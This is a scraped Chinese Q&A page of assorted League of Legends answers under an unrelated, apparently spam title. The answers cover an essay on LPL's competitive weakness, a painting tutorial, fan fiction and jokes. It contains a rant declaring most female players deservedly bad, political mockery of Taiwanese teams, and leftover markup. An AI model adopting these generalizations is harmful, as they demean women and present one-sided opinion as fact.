开心8是不是正规的?——在LOL口碑游戏宝正规吗中怎么回复别人的聊天?

&p&支持欢呼。&/p&&p&强烈建议把闪电狼加油、AHQ加油换成省队加油!台湾省加油!&/p&&p&让他们感受下我们吃了多年茶叶蛋的威力。&/p&&p&顺便到了武汉,武汉小伙伴记得请省队去过早。&/p&&p&到了广州,广州小伙伴就请去吃顿云吞面。&/p&&p&到了上海,不对,上海是半决赛,省队今年的实力,应该在广州喝多顿早茶就可以回家了。&/p&&p&至于是坐飞机还是从福建游回去就不得而知了。&/p&&p&&b&省队加油!&/b&&/p&
支持欢呼。强烈建议把闪电狼加油、AHQ加油换成省队加油!台湾省加油!让他们感受下我们吃了多年茶叶蛋的威力。顺便到了武汉,武汉小伙伴记得请省队去过早。到了广州,广州小伙伴就请去吃顿云吞面。到了上海,不对,上海是半决赛,省队今年的实力,应该在广…
第一次知道这个主播是他刚刚在战旗的时候,几千人小主播。当时在看神超直播,神超机器人辅助,他上单刀妹。那局神超有点坑,在野区乱带节奏。毒计开始骂神超,然后神超粉丝去毒计直播间爆破,我去围观(←←)。当时毒计被爆破小组骂哭了,是真骂哭了。全程跟爆破组讲道理分析那局游戏的关键点,爆破小组当然不会理啦。然后他说了一句我至今认为三观很正的话“凭什么我辛辛苦苦那么认真玩每一局游戏,因为别人乱玩就掉分?还不能骂几句?就因为他是职业选手粉丝多?”过了十几分钟,爆破小队退了一大半,我还留在那儿看他下一盘游戏,很认真跟观众讲解对线细节,声音还因为之前的激动有点颤抖,然后就被圈粉点关注了。记得当时有不少爆破小组成员发弹幕“今天可能是你这辈子直播间观众最多的时候了”,反观现在毒计的成就,总结一句上天真的不会亏待认真的人。
第一次知道这个主播是他刚刚在战旗的时候,几千人小主播。当时在看神超直播,神超机器人辅助,他上单刀妹。那局神超有点坑,在野区乱带节奏。毒计开始骂神超,然后神超粉丝去毒计直播间爆破,我去围观(←←)。当时毒计被爆破小组骂哭了,是真骂哭了。全程跟…
你们还记得各种版本的no皇吗?&br&正常的:nono&br&被打跪了:zozo&br&被打断腿了:roro&br&被打哭了:npnq&br&眼哭肿了:nQnQ&br&卵子都被打飞了:nn&br&被打翻了:uouo&br&被打得妈都不认识了:cozo&br&瑟瑟发抖:momo&br&躺着打:coco&br&坐着打:noco&br&站起来打:HoHo&br&一柱擎天:noho&br&投降了:hoho&br&怀孕了:nONo&br&生了个双胞胎:H8H8&br&膨胀了:NONO&br&开始方了:n口n口&br&技不如人甘拜下风:ngng
你们还记得各种版本的no皇吗? 正常的:nono 被打跪了:zozo 被打断腿了:roro 被打哭了:npnq 眼哭肿了:nQnQ 卵子都被打飞了:nn 被打翻了:uouo 被打得妈都不认识了:cozo 瑟瑟发抖:momo 躺着打:coco 坐着打:noco 站起来打:HoHo 一柱擎天:noho 投降…
&p&这是很多板绘初学者都会陷入的误区,因为完成图是经过叠色,着色,调整对比度曲线,以及颜色减淡加深数道工序依次累积产生的效果,物体固有色受到主光源与环境光影响发生了质变,吸色自然无用。&/p&&br&&p&下面放上正确绘制步骤&/p&&br&&p&1.首先,绘制线稿,这是最关键的一步,不建议新人画师跳过线稿直接厚涂,对画技提升没有任何帮助&/p&&img src=&/v2-3b1ff5a9e5d499d3d3defbc_b.jpg& data-rawwidth=&690& data-rawheight=&462& class=&origin_image zh-lightbox-thumb& width=&690& data-original=&/v2-3b1ff5a9e5d499d3d3defbc_r.jpg&&&br&&p&2.另建一图层平涂固有色,颜色与细节是跟随整体逐渐丰富的过程,切忌操之过急&/p&&img src=&/v2-eb1c9cd08ac761bd4e323_b.jpg& data-rawwidth=&690& data-rawheight=&462& class=&origin_image zh-lightbox-thumb& width=&690& data-original=&/v2-eb1c9cd08ac761bd4e323_r.jpg&&&br&&p&3.百度一个符合氛围的背景贴上去,因为你对着一个单调的背景很容易把画给画死。 在整体是个暖色的基调下,开始绘制质感,金属的反光会比毛发强,正常光照下的上半身会比下半身更亮。在这里你可能会感觉已经没什么可画了,其实还差得很远&/p&&img src=&/v2-4a346dbe5cc63c0bbfcdfb0cd2ff3ba1_b.jpg& data-rawwidth=&690& data-rawheight=&414& class=&origin_image zh-lightbox-thumb& width=&690& data-original=&/v2-4a346dbe5cc63c0bbfcdfb0cd2ff3ba1_r.jpg&&&br&&p&4.继续深入,此时画面已经不会再有太大的变化,接下来的是非常乏味无聊的部分,需要进行的就是我前面所说的步骤,刻画细节再回到整体再到细节反复的过程。很多人线稿画得很好看,一到这里就全毁了,所以有四点务必反思&/p&&p&a)色彩变化是否丰富?&/p&&p&b)明暗是否拉开?&/p&&p&c)材质表现是否准确?&/p&&p&d)整体明暗是否始终与主光源一致?&/p&&img src=&/v2-d8d110876cecf1db5ee6_b.jpg& data-rawwidth=&690& data-rawheight=&414& class=&origin_image zh-lightbox-thumb& width=&690& data-original=&/v2-d8d110876cecf1db5ee6_r.jpg&&&br&&p&5. 烧火棍的特效,火焰一般都是直接贴素材,利用颜色减淡功能使它的颜色变得非常鲜艳,以及继续刻画细节,深入明暗,以及光影&/p&&img src=&/v2-be14f2d05e5_b.jpg& data-rawwidth=&950& data-rawheight=&570& class=&origin_image zh-lightbox-thumb& width=&950& data-original=&/v2-be14f2d05e5_r.jpg&&&br&&p&6.绘制背景,用ctrl+m把画面过曝的部分降下来,其实美图秀秀的滤镜功能也不错,但是不要过分依赖(很多面向低幼的游戏商宣到这一步就结束了,duang的一下子,很花很曝,小孩子们很喜欢,但是上了年纪的人受不了这个刺激,因为他们已经没有那么活跃的视觉神经来处理艳丽的画面了,这就是王者荣耀商宣与英雄联盟商宣的区别,没有黑的意思,就事论事)&/p&&img src=&/v2-5bb437d6410fb0baae92f70daf1670b3_b.jpg& data-rawwidth=&690& data-rawheight=&414& class=&origin_image zh-lightbox-thumb& width=&690& data-original=&/v2-5bb437d6410fb0baae92f70daf1670b3_r.jpg&&&br&&p&7.记住距离镜头近的物体永远会比远的色彩更厚重,近实远虚才有空间感,一般来说我们倾向于先画重色再提亮,而不是使暗部越来越暗,因为你再暗也暗不过纯黑,所以纯黑以及没有色彩倾向的灰黑是务必要杜绝的。在主体已经不需要修改的前提下,只淡化一下背景就可以了,颜色加深就我个人习惯是基本不会用到的功能&/p&&img src=&/v2-ec3fcb9f6b87a5eae38f27dc_b.jpg& data-rawwidth=&690& data-rawheight=&414& class=&origin_image zh-lightbox-thumb& width=&690& data-original=&/v2-ec3fcb9f6b87a5eae38f27dc_r.jpg&&&br&后记
&br&&br&细心的同学会发现下肢动作几乎一直在变化,整个动势由蹲坐变成了前踏,尾巴也不再缠绕了,这一切都是为了使角色变得更加不羁狂放孔武有力所进行的尝试,毕竟谁也无法从一开始就做到完美,具体什么样的动作符合什么样的性格特征,什么样的穿着符合什么样的气质,这就需要画手的观察与积累了。没什么捷径,多看多练吧&br&对于没有经验的新手来说,最重要的还是坚持画完你认为已经无药可救的作品,如果每张都画不完,又谈何进步呢?
这是很多板绘初学者都会陷入的误区,因为完成图是经过叠色,着色,调整对比度曲线,以及颜色减淡加深数道工序依次累积产生的效果,物体固有色受到主光源与环境光影响发生了质变,吸色自然无用。 下面放上正确绘制步骤 1.首先,绘制线稿,这是最关键的一步,…
更新:匿名的原因是不想和其他论坛的身份联系起来,很多朋友让取匿,也无所谓啦,取吧。&br&写这篇文章的目的是跟人分享观点,能给他人提供一个视角,就可以了。转载的话注明作者就可以。&br&&br&这几天s赛LPL又全军覆没,有喷的有洗的,喷的暂且不说,洗地的实在难看,什么体制论努力论赞助商论等等,都是些务虚的洗法,洗不到点子上,所以我觉得有必要正本清源,认真地为LPL洗一波地,有事实,有逻辑,有道理地洗一波。&br&&br&
首先我们不能把矛头都集中在LPL一个对象身上,锅不能让LPL背完了,光是LPL的队伍菜吗?显然不是,欧洲美洲俄区外卡区相比韩国队伍都菜,只不过相对赛区的投入和赛前的舆论,LPL稍微显得刺眼了些。&b&所以这个问题的实质,不是LPL多菜,而是LOL整体区域发展不平衡。&/b&通常韩国电竞体制会作为理由来进行解释,但全世界受众广泛水平高的电竞也不止LOL和SC,韩国人并没有在诸如CSGO(我们总不能说CSGO是小众)这样的项目上体现出来他们的优势,在这里争论到底是韩国人不玩所以不强还是不强所以不玩毫无意义,在我看来,这个区域发展不平衡的问题,究其根本,原因还在官方拳头那里。&br&
首先说说拳头的问题,LOL在平衡性和多样性上的问题已经被很多人讨论过,但这些都可以归结为游戏特色,但LOL游戏硬件机制上的问题是显而易见的,而且对项目竞技水平的提高产生了深远的负面影响。&br&
最直接的问题就是没有replay系统。这个问题提出来简直让人觉得可笑,作为一个以竞技为噱头受众如此广泛的诞生于21世纪的游戏,居然没有replay系统,着实让人感到尴尬,不过拳头似乎已经预定2017年加入replay系统,终于可以实现SC在20年前就已经实现的功能了。特别强调一下:rep跟游戏内的录制是两码事,前者是一场游戏信息的总和,后者只是一个断面。
没有rep功能,首先就意味着玩家的技巧学习和扩散的速度会很慢,完善的replay系统有助于玩家在观战的时候深入地学习高手的细节和技巧,rep在游戏内就可以播放,而且可以反复看,放慢看,对比着数据统计看,能以较低的门槛让玩家深入了解行为的动机和逻辑,这远不是直播或者第一视角录像可以比拟的。&b&对于有志于提升水平的玩家来说,没有rep,他们就要花更多的时间去进行盲目的实践来发现技巧,理解技巧。&/b&而这个过程,会极大地影响玩家水平的提高进而影响整体水平的进步。&br&
其次,没有rep,就意味着职业选手无法复盘。为了了解到复盘的重要性,让我们想象一个场景:世界大赛的淘汰赛,强大的对手,巨大的心理压力,你理所当然地发挥失常被吊打了,然后你脑子里一片空白,完全不清楚刚才自己做了什么,也不知道对手赢在哪。其实这就是EDG和RNG们面对韩国队伍时的真实写照。同样的情况也发生在dota里,dota著名选手RTZ提到SL9的时候他被DK吊打,那是他第一次感到硬实力被碾压,他无比沮丧,也不知道输到哪了。但EG做了一件事:把比赛的rep反反复复看了很多遍,学习细节,尝试理解对手的阵容的目的,对手资源分配的特点,最终在TI4胜者组完胜DK。而对于LPL的队伍来说,失利之后,他们能做的只能是隔空吹B,失利几乎不会带来任何价值。&b&某种意义上讲,复盘是实践-总结-提高-实践这个提高水平正反馈的核心,没有replay,也就意味着队伍没有最基本的变强的方法,也许练了很多,其实是原地踏步。&/b&&br&
总的来说,没有rep功能,极大地制约了LOL整体水平的提高,当然拳头官方的说法是“为了防止游戏技巧被人学走”,这个思路倒是蛮符合小作坊的心态的。只是暴雪和阀门要趟枪了。&br&
另外提一句,从我从各个第三方数据网站和游戏内数据统计的情况来看,英雄联盟游戏本身和数据接口提供的数据统计和分析的层次是非常低的,远不如dota2,而且第三方分析APP的发展也不行,类似于dotapicker这种通过BP的大数据分析来深入研究战术打法的软件几乎没有。所以我很不理解吹韩国数据分析和教练的,LOL这个游戏在战术上本来就没有太多花头可言,而banpick又受限于选手的英雄池,而韩国人无非就是把本该由游戏本身来做的事由人力来完成罢了,这个锅,还是拳头的。而拳头卖英雄的模式也决定了,大多数玩家只能片面地了解到游戏的全貌,当然这个是商业机制本身的策略,无可厚非,但客观上造成了整体竞技水平的低下。&br&&br&&br&
第二来说说拳头的软件建设,核心就是赛事组织,拳头的体制可以集中概括为:&b&区域多级联赛为主,少量赛会为辅,禁止跨区,所有赛事主办权独揽。&/b&很有些LOL玩家为这套体系自豪,而实际上,这套体系就是导致LOL在竞技层面发展水平低下的最直接也是最根本的原因。我们来一项一项扒皮:&br&
首先是联赛体制,这也是最值得说道的地方。很多LOL玩家提到联赛顿时就自豪的不得了,“我们有联赛,我们职业化水平高所以竞技水平高,你们没联赛,你们都是菜J互琢”,对于这种人,我只能笑摸狗头,因为他们是知其然不知其所以然,他们并不明白传统体育联赛产生的原因,也不明白联赛的好处和局限。为了说明为什么在电竞领域拳头这套联赛体制是一泡污,我们先要从传统体育的联赛说起。你们不是喜欢和足球联赛相比吗?那么我们就从足球联赛的起源说起。&br&
现代足球起源于英国,最早的规则由剑桥牛津的学生们制定,而联赛的雏形则产生于英格兰中北部的工人市民团体中。钢铁煤炭的工人们精力旺盛组织水平高纪律性强,足球理所当然地成为了他们首选的娱乐项目,久而久之就产生了球队,有了球队就有了比赛,一开始就是社区的两个队伍分个高下,然后慢慢队伍就多了,两个队随便找个下午就能踢,四个队就得花一整天了,八个队就不是周末能解决了,组织协调和场地都是问题,于是就约定小团体编为一组,固定时间来进行比赛,league原意就是社团联盟的意思。作为观众来说,赛会的紧张刺激远不是拖拖拉拉有平局还能选择性取舍的联赛可以比的,但足球的赛会组织成本太高了,不得不选择联赛这种形式&b&。简而言之,联赛制度本身就是向组织成本妥协的产物,本身并没有职业性或者先进性,而赛会/锦标制,在竞技层面,完爆联赛制度。&/b&而当我们回到电竞这边就会发现,电竞项目的组织成本之低,是传统体育无法想象的,线上赛几乎没有成本,办世界杯要花多少钱?线下赛10台电脑一个房间就能干起来,租个球场又是什么代价?选手从早到晚打三个BO3都没问题,足球运动员最少歇3天(在这里我顺带吐槽一下LPL的赛事密度,同比足球大概是20天一场比赛?能打出水平才见鬼了),电子竞技几乎完美的规避了传统体育在组织成本方面的问题,而这些问题恰恰是联赛存在的原因,那么联赛存在的意义在哪?而在实际运作中,保级卖壳成了存在的意义,完全是个黑色幽默。&br&
再来说说多级联赛制度,英雄联盟包括网吧赛-城市赛-TGA-LSPL-LPL这几个级别,基本上也是模仿足球联赛来建立的,还是为了便于说明,我们跟足球多级联赛来进行对比。足球多级联赛的存在意义主要是以下几个:首先,培养人才,作为青训体系的基础;第二,传统足球强国里,球队往往是地方的象征或者行业团体的象征,虽然很多低级球队水平很低,但在本地/行业里很有归属感,有铁杆支持,有存在的基础;第三,受限于成本问题,低级联赛的比赛也是当地群众重要的娱乐项目,有存在的意义。&br&
那么对比LOL,首先,对于电竞项目来说,培养人才是不是需要多级联赛?要回答这个问题,我们就得了解足球的人才选拔,在现实的世界里,足球人才的选拔和发现是非常困难的,能成为职业球员的苗子们不会像fifa里那样在头顶显示他的能力,漫长培养周期和多元化的评价体系都注定了你必须投入大量的资源才能选拔有价值的人才,而多级联赛体系则可以给球员提供逐级锻炼的舞台,给青训教练和球探们吃饭的职业,这才是多级联赛存在的目的。而电子竞技的特殊性就在,它从技术上解决了如何评价玩家水平高低的问题,玩家的水平是可以量化的,在LOL里你在韩服能上王者也就意味着你有能力打最顶级或者次一级的职业联赛,在DOTA里你能上7500就具备了打职业的能力,能上9000那妥妥的高一档,可以当队伍核心;所以并不需要多级联赛来验证你的个人能力。而且另一方面,电竞玩家的培养周期也是非常短的,有天赋的玩家几个月就能达到路人王的水平,比如星空哥出分5200,两个月上7000,这种人放在LOL的联赛里,要整整花四年才有可能打到LPL,而实际上他的个人水平可能早就超出这个级别很多了,而最可能的情形是他受不了这种蹉跎,不再从事这个行业,而这种推理也不是空穴来风,造血能力不足是LPL面临的主要困境之一。而在存在的基础方面,互联网的特点决定了,电竞项目的粉丝团体的集中是非常极端的,金字塔顶端的队伍几乎把粉丝们瓜分完了,由于缺乏线下的实质纽带,其他的绝大部分队伍几乎没有任何影响力,英国一个社区比赛可能就有几千人来观战,一只TGA队伍有几个人会支持呢?&b&总结一下,电竞项目本身的技术手段最大程度上解决了人才选拔的问题,多级联赛在支持者也缺乏存在的意义,而从赛事的观赏性来看,恐怕也没有什么人去关注低级联赛的比赛。所以多级体系在竞技层面,基本没有存在的必要,反倒是冗长的晋级体制,阻碍了有天赋的玩家进入顶级舞台。&/b&&br&&br&
第二是赛会的问题,这个问题可以和第三个问题一起谈。拳头禁止赛区交流,不管是出于什么目的,必然造成了以下的问题:首先是比赛数量太少,这里又得吐槽LPL的比赛密度,而拳头自己办的比赛也少,这就导致了LPL的队伍们整体缺练,而且本来比赛就少,真正有价值的淘汰赛更少,水平更上不去。之前看到一个统计,EDG今年截至s6,打了110多场比赛,其中淘汰赛不到20场,大部分都是LPL里的菜J互琢。而同比dota2的nb,打了350多场比赛,其中淘汰赛占了1/3。&b&所以要我说厂长的表现也情有可原,刺刀见血锻炼人的淘汰赛就打了不到20场,大部分还都是被吊打,又没办法复盘,不知道自己赢哪输哪,心理素质差一点崩盘简直正常不过,水平能提高才怪了。&/b&第二是赛区间交流太少,结合没有replay无法复盘的问题,又很难在寥寥几次交手中得到提高,大家都在闭门造车,而韩国赛区自身水平较高,在这个闭门造车的赛跑中跑到了LPL的前面。&br&&br&
再谈一谈拳头不让第三方举办比赛的问题。在我看来简直不可思议。依英雄联盟的热度,希望举办第三方锦标的商家可以从北京排到纽约去,拳头收抽成可以收到手软,而且第三方比赛的奖金肯定有保证,激励选手的热情——S赛那点钱实在太寒酸,而且可以促进世界范围内的交流,对于提升竞技水平也有好处,多赢的选择。有人说害怕第三方奖金太高影响s赛的地位,拜托,你是官方啊,欧冠奖金那么高,影响力能比的过世界杯吗?&br&&br&
另外两个问题也要说道说道,第一个是LOL青铜-王者的分级制度,直接就用分数分级不好吗?这显然是纯粹为了满足的虚荣心的设置。你在哪个论坛都能看到“我是一区钻X,有什么要问的?”这种帖子,其实钻X同比d2就是的分数,哪个人在d2论坛上发帖说“我4500分,有什么问题都可以问”,大概卜被人喷成傻逼。这个机制可以说严重地影响了玩家对自身水平的认知。&br&
另一个是腾讯的分区制度,全世界都不分区,就国服分区,直接带来的结果就是水平认知困难,玩家转服成本高。大家都知道电1水平高,某玩家在郊区服到顶了,想去电一试试,对不起,一切从头开始,这就让人很难提的起兴趣去更进一步锤炼自己的水平,客观上也导致很多玩家没有机会更进一步。 &br&&br&
实事求是地讲,LPL有这样那样的毛病,LPL选手们也能扯得出来一大堆黑点,但我们必须客观公正地认识到,&b&他们确实是在一个人为制造的缺乏竞争力交流困难的环境里挣扎&/b&,也有很多人拿dota2的成绩跟中国dota的成绩来比较,我觉得我有义务说句公道话,双方的从业人员构成区别并不大,都是20岁上下的年轻人,有素质高的有素质低的,有文化高的有文化低的,dota2的历史确实造就了中国dota2一些不一样的气质,但绝对不宜高估,而中国LOL的现状,则更多是拳头的责任。淮南为橘,淮北为枳,与其说是两个群体的差异,不如说是V社与拳头的差异。&br&&br&
最后我要说的是,大家不要对中国LOL竞技水平的现状这么悲观,从项目发展的周期来看,LOL整体的竞技水平还处于中期,为什么这么说呢?我们纵观各种竞技项目,都会发现其水平发展有这么一种趋势:一开始,比较有灵性的先发者会占据领先位置,比如中国女足,随着项目的发展,执行力和纪律性成为了主题,比如徐根宝的当年靠“抢逼围”纵横甲A,再发展,在保证纪律性和执行力的基础上,更高层次的战术将加入进来,并且成为竞技的主宰,直接的例子就是欧洲五大联赛和NBA。而从昨天的ROX VS SKT时双方在阵容上的博弈来看,LOL圈里的顶尖队伍,刚刚由执行力为王进入战术博弈的状态,而国内队伍里,EDG的执行力是公认的,只是缺乏在高强度比赛中的稳定性,其实没有想象的差距那么大,skt对EDG在训练中的水平就非常认可,如何在比赛中稳定的发挥能力才是关键。而随着replay系统的开放,这个差距会进一步缩小。&br&&br&
最后再谈谈对联赛的看法,其实联赛不是关键,赛事密度和对抗强度才是关键,未来的LPL,如果能以锦标制的短赛季代替现在的长赛季,增加比赛密度和淘汰赛的比例,国内队伍必然有飞速的进步。
更新:匿名的原因是不想和其他论坛的身份联系起来,很多朋友让取匿,也无所谓啦,取吧。 写这篇文章的目的是跟人分享观点,能给他人提供一个视角,就可以了。转载的话注明作者就可以。 这几天s赛LPL又全军覆没,有喷的有洗的,喷的暂且不说,洗地的实在难看…
背景:&br&2014年 本人 LOL 白银4。&br&没错,就是大家经常说的白银菜狗。&br&有一次,遇到对面是西门玩的小号玩的还是剑姬。&br&全场他杀40+。我们五个菜逼瑟瑟发抖。&br&从此一生黑,一个王者欺负人,不明白那么多SB还喜欢看。&br&我想说的是:&br&竞技游戏和竞技比赛不一样,段位不仅代表玩家的水平。也是系统能把水平相近的玩家分到一起的一个依据。&br&那么如果一个王者的人来玩白银的号,请问我们这种菜逼该怎么办?&br&&br&&br&代练同理,首先破坏低水平玩家的游戏。&br&然后代练更恶略的是,他代练上去的号主一般情况下水平是不符合那个分段的,那个号主玩的时候,他的四个队友很无辜。
背景: 2014年 本人 LOL 白银4。 没错,就是大家经常说的白银菜狗。 有一次,遇到对面是西门玩的小号玩的还是剑姬。 全场他杀40+。我们五个菜逼瑟瑟发抖。 从此一生黑,一个王者欺负人,不明白那么多SB还喜欢看。 我想说的是: 竞技游戏和竞技比赛不一样,…
话说在前面,最近戾气比较重,想喷我的自便。&br&大多数妹子菜,真的可以用活该来评价。随便玩个辅助到处插眼混,靠着大腿爬到黄金白金钻石。真的你不适合这个游戏,而且也没资格说。(补充:因为大部分评论提到辅助不应该是这样,事实辅助确实不应该这样,这里有一个前提就是己方adc足以碾压对面,保护好adc就能赢的情况。至于灵光一闪,更多的是锦上添花的表现,而不是每个人都能做到。)&br&事实上,没有任何证据证明女玩家比男玩家差。我认识的一个妹子最近韩服美服双王者,次次solo把我吊起来打,把我从中单赶到打野上。她怎么做到的?一天六小时训练,而且会思考自己的不足。然后据我所知,那群菜的妹子除了大腿叫从不上线。&br&我知道一会肯定有拿娱乐来说事的,娱乐为什么不去打大乱斗?再怎么说也就是打个匹配吧,为什么非要个段位?装逼给谁看?什么一炮上钻我见得多了,甚至还有人问我能不能帮上钻,你tm简直在逗我。lol特地把排位分出来,是为了更强的竞技性,而不是让你们瞎jb秀的。如果说没时间?你没时间也想变强?乖乖匹配去随便打打,没人说你的。&br&最后,真的想脱离菜,多看看直播多打几把比你在这破网站上问个不痛不痒的问题有用得多,现在白金5好好打打上个钻石也不错对吧?&br&真的,别弄个假段位了,我们应付脚本演员代练已经够累了。&br&一会要是有说我注定孤独一生的,我还真没有沦落到要靠这样的方式来找妹子的地步。&br&恩写的有点乱,不想看直接举报了,也没必要特地喷我了,我们都省点事不好吗?&br&===================以上原答案,后面是一点回复===========&br&嘛看了下评论区,感觉好像有很多人都没把这点东西看完就来评论了。那再大概说一下我的观点好了。&br&对辅助的评价&br&平时我确实认为辅助很重要,甚至比ad还重要。但这里有一个非常重要的前提:你们的adc实力足以碾压对面。这时辅助只要简单的干扰对面的切入,adb就能轻松完成收割。虽然不知道谁说的我看不起辅助,不过这种无中生有的事你帮他再说一遍,等于你也有责任对吧?&br&&br&说男玩家不行的&br&请注意,我们这里所有的讨论都是基于女玩家,或者“大多数妹子”这个概念之上的,不要随便变动这个,谢谢。&br&&br&不是所有人玩游戏都是为了赢/玩游戏为了放松&br&这就是我说的没看完答案的,清再看一遍。&br&&br&为什么玩个游戏要那么认真?&br&又想变强,又不想认真,我真的很为难啊。&br&&br&答主以偏概全&br&我所有的言论都只针对那一部分人,或者说是一小部分,真的不要对号入座了。&br&&br&关于努力不一定成功&br&兄弟,&b&努力不一定成功并不是你可以不努力的理由&/b&。&br&&br&最后讲个故事调节一下紧张的气氛吧,就是我和文中王者妹子的。不过我略吹了一点,因为我不知道她的美服段位。不过我是觉得她应该是王者。另外有些事情记不清的我就自己脑补了。实在不相信的就当成是我编的故事好了。&br&其实这事是s4发生的,当时我在国服打到了王者挺靠前的位置,然后一时间膨胀上天,果断下了韩服买了号弄了vpn发誓要在韩服上个王者证明自己。然后打着打着到了钻一,再之后晋级赛各种xx√x,xxx,√xxx,√√xxx,总之就是打不上去。后来某一次晋级赛生死局就排到了她,当时她就是王者段位。然后我们两个人开始抢中单,全程用英语各种互喷,我还被嘲讽了noob diamond。当时我就不能忍了,输完晋级失败出来就加了她好友要solo。之后当然是喜闻乐见我被花样吊打了好几把。然后中间就是一些杂七杂八的事之后我们开始了双排送分之旅,以自己掉到钻三为代价成功把她从王者拉到了钻一。现在想想真的蠢爆了。&br&再后来在我的“七伤拳”战略下,快掉到钻二的妹子忍不了了,跟我说需要一点交流,然后我们开始弄了个语音(skype)。虽然实际用起来没什么卵用,因为一激动妹子说韩语我说中文……唯一的作用大概就是让我知道了这个混蛋tm居然是个妹子,以及两把之间简单的聊聊天之类的。&br&后来也许你们会以为这妹子后来变成我女朋友了,然而现实是在我vpn故障几天以后再上的时候,被妹子删好友了。菜逼不配拥有爱情,真理。&br&id是真想不起来了,据妹子说是韩语的胜利者,也许可以根据这个去找找?&br&&br&最后的最后,我觉得我还得向所有只打匹配大乱斗的人说声对不起。&br&那这个话题基本就完结了,再有撕逼我会删评论的。
话说在前面,最近戾气比较重,想喷我的自便。 大多数妹子菜,真的可以用活该来评价。随便玩个辅助到处插眼混,靠着大腿爬到黄金白金钻石。真的你不适合这个游戏,而且也没资格说。(补充:因为大部分评论提到辅助不应该是这样,事实辅助确实不应该这样,这里…
————三更————&br&看大家挺喜欢提莫的,那稍晚一点写个提莫专场:&br&《小提莫烦恼》&br&
在绝地岛上,所有的约德尔人都善于利用自己的体型来获得一些优势,兰博是个例外。&br&
“见过你需要仰望的约德尔人吗?”兰博总喜欢这么问。&br& 直到有一天,遇到了希维尔:“能让我仰望的,只有天空。”&br&
然后兰博被希维尔追着锤了一路。&br&
当然,小巧的身体所带来的也并不全是好处,也会有一定的烦恼,比如上次崔丝塔娜去搜一座拼图楼,空格+C蹦了半天还没上到二楼,腿短即是原罪。&br&
总之,约德尔人在绝地岛上总会有一些不同的体验,这些约德尔人们集合起来,成立了一个“伏地者联盟”,今天我们要讲的就是这个“伏地者联盟”中的超级英雄——“背锅队长”提莫。&br&
“提莫队长,正在待命。”提莫总是如此鞭策自己。&br&
其实,提莫与召唤师峡谷的商店老板是爷孙关系,不信?你看看提莫,不仅跟老板长得像,还天生自带二级头盔三级背包,除了自带吉利服的翠神还有谁能比?由于这个关系,商店老板被称为老提,而提莫则被称为小提。&br&
小提莫有个梦想,想要开一家连锁超市,规模远超他爷爷的杂货铺。为此提莫背着自己的三级包,努力的在召唤师峡谷收集东西,想要增加自己的仓库储量。可是他能够找到的只有蘑菇,这让小提莫很烦恼。&br&
直到提莫来到了绝地岛,这可给提莫高兴坏了,整天到处捡东西。&br&
“一二三四。”&br&
提莫掰着手指头数了数(如果约德尔人有手指头),今天又捡了四个手枪的快速弹夹,提莫很开心。&br&
(今天忙着做王者荣耀高校联赛的活动,忙里偷闲写了这些,剩的等明天再写。)&br&————二更————&br&看大家喜欢,就再写一点吧==&br&杂技少年泰隆一路翻墙,结果不幸从机场的塔吊上摔死。&br&自带吉利服的艾翁走一路种一路草,看见公路中央有一堆草丛的雷恩加尔挠了挠头,然后扑了进去。&br&贾克斯去了学校,看上了一根电线杆子,非要把它拔下来当武器。&br&图奇钻进了防空洞,自称找到了家的感觉。&br&……&br&艾克跟着金克丝走了一路,金克丝忽然有了个坏主意,说:“克儿,人家想看看你的时空断裂行吗?”&br&艾克一听,脸上一喜,大喊一句:“两极反转!”&br&左下角:艾克死于安全区之外——67left&br&……&br&塔利亚在G港下方的大山上玩起了浮石冲。&br&卡尔玛遇到了卡尔萨斯,两人正在对歌:撒and撒!提了提!&br&克烈落地之后捡了把枪,一看:“哟!SCARL!”蜥蜴:“Excuse me?”&br&……&br&嘉文、赵信、盖伦三位好伙伴蹲在嘉文的天崩地裂所创造出的地形里。&br&盖伦:“这样真的能吃鸡吗?”&br&嘉文:“相信我,这个游戏苟着必吃鸡!”&br&赵信:“你们看看天上是不是落下来啥了。”&br&加农炮幕!普朗克三杀。&br&……&br&约里克和迷雾室女遥望着出生岛:“岛屿会记住你的!”&br&……&br&塔里克一路狂奔,哭着说:“为什么追我!”&br&希瓦娜眼睛冒着小星星,说:“大哥你那么多宝石给我两个呗!”&br&……&br&费德提克站在稻田里静静地装稻草人。&br&德莱厄斯给了德莱文一脑瓜崩,原因是德莱文把他哥的斧子扔到毒圈捡不回来了。&br&斯卡纳蹲在灌木丛里,忽然不由自主地说了一句:“斯卡,斯卡,斯卡纳!”&br&烬在学校的大会议室的讲台上孤独地坐着,说:“只是我的演出,让人窒息。”&br&……&br&克格莫、卡兹克、科加斯、维克兹为了抢食物正打得不可开交,一旁的塔姆正在暗中观察。&br&“我的胃,空空如也。”&br&……&br&亚索遇见了古拉加斯,你一瓶止痛药我一瓶能量饮料,喝的正嗨。&br&“嗝!你买单,我就来!”&br&……&br&俄洛伊跳向了大海,去寻找自己的真神了。&br&……&br&内瑟斯正在和阿兹尔辩论。&br&“恕瑞玛,你们的皇帝回来了!”&br&“也许恕瑞玛的消亡是注定的。”&br&……&br&格雷福斯捡了把S686,问崔斯特:“这玩意怎么装弹啊。”&br&“手动F实力换子弹。”&br&————原答案————&br&薇恩落地捡了一本增幅典籍,想了想,还是留着吧,万一待会合成个纳什之牙呢?&br&贾克斯落地捡了个耀光,喊道:发了发了!落地耀光,右转不得来个净蚀?&br&另一边伊泽瑞尔凭借自己的探险经验,已经搜完了整个废墟,得到了一把智慧末刃和探索者护臂&br&……&br&奥瑞利安·索尔、诺提勒斯等体型大的目标太明显,落地成盒。&br&墨菲特蜷缩成一团,装石头,却死于轰炸区:科学的地狱火炮!&br&茂凯蹲在山坡上装一棵树,看见蔚从身边路过,扔了一个破片手榴弹:树苗投掷!&br&巴德沉迷搜和弦,死于安全区之外。&br&库奇飚到了极限手滑按了一下F,摔死了。&br&黑默丁格找了个拼图楼楼顶,摆好炮台,等着人来攻楼。&br&泰达米尔落地就去找艾希了,结果却遇上了亚托克斯,一个无尽怒火,一个鲜血魔井,打得难解难分。&br&蕾欧娜浑身BlingBling的,自带震爆弹效果,却死于凯特琳的一发盲狙。&br&阿卡丽扔了一个烟雾弹:奥义·霞阵,玩起了躲猫猫。&br&布兰德瞎扔了一个燃烧弹:火焰烙印。吓出了一堆伏地约德尔人:崔丝塔娜、提莫、维嘉。&br&霞和洛找了艘船,沿着伟大航道去到了ONE PIECE,发现四周没人,干了一些没羞没臊的事……&br&菲兹去了水城,找了个小水沟,仗着自己体型小当起了水鬼。&br&…………
